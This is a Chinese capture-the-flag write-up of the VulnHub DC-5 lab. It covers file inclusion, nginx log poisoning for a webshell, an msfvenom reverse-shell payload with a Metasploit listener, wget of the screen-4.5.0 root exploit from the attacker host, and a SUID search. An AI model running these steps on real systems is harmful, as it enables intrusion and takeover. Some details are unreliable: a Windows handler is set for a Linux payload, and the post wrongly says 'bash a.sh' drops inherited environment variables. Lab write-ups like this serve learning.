DC-5笔记

靶机信息

DC-5官方地址:DC: 5 ~ VulnHub

DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for people with intermediate or better experience. Time will tell (as will feedback).

As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it is there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will hopefully provide some kind of idea as to what the vulnerability might involve.

And just for the record, there is no phpmailer exploit involved. :-)

The ultimate goal of this challenge is to get root and to read the one and only flag.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

But if you're really, really stuck, you can watch this video which shows the first step.

DC-5是另一个专门建立的易受攻击的实验室,旨在获得渗透测试领域的经验。

计划是让DC-5提升一个档次,所以这对初学者来说可能不太好,但对于有中级或更好经验的人来说应该没问题。时间会证明一切(反馈也会证明)。

据我所知,只有一个可利用的入口点可以进入(也没有SSH)。这个特定的入口点可能很难识别,但它确实存在。您需要寻找一些不寻常的东西(随着页面刷新而发生变化的东西)。这将有希望提供一些关于漏洞可能涉及什么的想法。

郑重声明,这里没有涉及phpmailer漏洞。:-)

这个挑战的最终目标是扎根并读取唯一的标志。

必须具备Linux技能并熟悉Linux命令行,还必须具有使用基本渗透测试工具的经验。

对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7上向我寻求帮助,让你继续学习。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。

但如果你真的,真的卡住了,你可以看这个视频,它展示了第一步。

有一个入口和一个flag,而且都没有开ssh服务…

而且没有phpmailer漏洞,提示找随着页面刷新而变化的东西…

嘶,说的这么玄乎呢

信息收集

还是老样子nmap做信息收集

nmap 192.168.66.2-254

请添加图片描述

nmap 192.168.66.140 -A -p-

请添加图片描述

开放了三个端口来看看80的http服务

http(80)

访问后发现全是显示文章的页面啊,没有啥功能点,看到最后一个contact页面的时候才有个类似于留言板的功能点

请添加图片描述

用御剑扫描也没扫出啥东西,有个footer.php,打开看也就是页尾的日期显示

那就随便留言一点东西,跳了个感谢页面…

请添加图片描述

这看不出有啥啊…

既然提示了找出网页刷新过后和以前不一样的东西

那我就把现在已知的所有页面的拿出来,一个个的看!

除了网站主页给出的5个页面,还有后面发掘出来的感谢页面(thankyou.php)和页脚文件(footer.php)

这7个页面里,感谢页面和页脚页面刷新的时候,页脚的年份显示会变

而主页的5个页面刷新不会有任何的变化

找到变化的点了,这里主页5页面的页脚和感谢页面的页脚不一样,而且我还扫出了footer文件

那么我们是不是可以认为,主页五页面页脚是写死的,而感谢页面的页脚是包含的footer.php文件

那么,我们能不能传参去变量覆盖来达到任意文件读取的目的呢

火速送往burp验证一下这个想法

请添加图片描述

还真有,变量名是file,可以看见原来的时间页脚被变量覆盖成了首页

哎呀,这不掏上了吗

一个伪协议看看感谢文件是不是我设想的那样写的

http://192.168.66.140/thankyou.php?file=php://filter/read=convert.base64-encode/resource=thankyou.php

请添加图片描述

base64解码一下吧

请添加图片描述

看见没,get接收传参file并包含,否则就包含footer.php

getshell我们可以采用日志文件包含的方式,前面信息收集的时候nmap探测出的web服务器是nginx

nginx的日志文件默认在

/var/log/nginx/access.log

先去访问一下,日志是开启的

请添加图片描述

吐槽一句,好多记录,之前爆破了路径和变量名导致的…

这里记录了我的请求方式和ua,我们修改UA来写入一句话

请添加图片描述

然后文件包含日志文件,蚁剑一连,拿到webshell

提权

我们msf生成一个反向木马来连接目标主机,通过

msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=192.168.66.129 LPORT=937 -f elf > mshell.elf

通过蚁剑上传

msf设置监听

msfconsole
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set lhost 192.168.66.129
    set lport 937
    run

webshell赋予权限并运行木马

使用python改善shell环境

python -c 'import pty;pty.spawn("/bin/bash")'

现在是www权限,我们先看看suid有没有收获

find / -user root -perm -4000 -print 2>/dev/null

请添加图片描述

熟人,exim4

不过我们今天不用它,用screen-4.5.0来看看

kali里搜索一下看有没有它的exp

searchsploit screen 4.5.0

请添加图片描述

欸嘿,本地提权,来试试

cd /var/www/html
cp /usr/share/exploitdb/exploits/linux/local/41154.sh ./

把exp复制到kali的网站目录里

kali开启http服务

systemctl start apache2.service

注意,提权的操作是在maf的木马返回的shell里面

目标机www目录没权限哈,到/tmp目录里下载提权脚本

wget http://192.168.66.129/41154.sh

然后给权限,运行(这里放错图了,放的是蚁剑模拟shell的图)

请添加图片描述

爆大错了哈

这里百度上看了很多文章,有的师傅说要把脚本分批成三段手动去编译

有的师傅说本地编译然后传到目标里

以上两种我都尝试了,但是没有成功,可能是我操作的问题

然后b站上搜了个视频,那师傅把执行脚本的方式换了一下成功提权

./ 41154.sh
# 原本的这样运行换成了
bash 41154.sh

这样就没有报错很顺利的提权了
请添加图片描述

flag

请添加图片描述

小结

web那边没什么好小结的哈,只能说攻防细微之处都不能放过,每个功能点都要去尝试

这个靶场提权那边卡了我好久,主要是网上师傅们的办法都尝试了好几次

我觉得这个靶场还是很厉害的,前面的web发现文件包含漏洞的时候真的看了好久

死看不出来网页刷新到底哪里变换了

同时也给了启发,不要忽视信息收集的重要性

然后写一下./和bash执行脚本的区别

  • 直接执行(.):当你使用 ./a.sh 执行脚本时,实际上是在当前 shell 环境中直接执行了脚本。这意味着当前 shell 的所有环境变量,包括 LD_PRELOAD,都会被传递给子进程(即脚本执行的进程)。如果 /etc/ld.so.preload 文件或通过 LD_PRELOAD 环境变量指定的某个库文件不存在或无法访问,那么在脚本执行时就会报错,因为动态链接器(ld.so)会尝试预加载这些库。

  • 使用 bash 执行(bash a.sh):当你使用 bash a.sh 执行脚本时,实际上是启动了一个新的 bash 进程来运行脚本。这个新的 bash 进程不会继承父进程(即你当前的 shell)的环境变量,除非你在脚本中显式地设置或导出这些变量。因此,如果 LD_PRELOAD 环境变量是在当前 shell 环境中设置的,那么 bash a.sh 执行时可能不会遇到 LD_PRELOAD 相关的问题,因为这个新的 bash 进程没有这个环境变量。

附上参考链接:

VulnHub DC5_dc-5 is alive!-CSDN博客

DC系列靶机DC5通关讲解_哔哩哔哩_bilibili

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值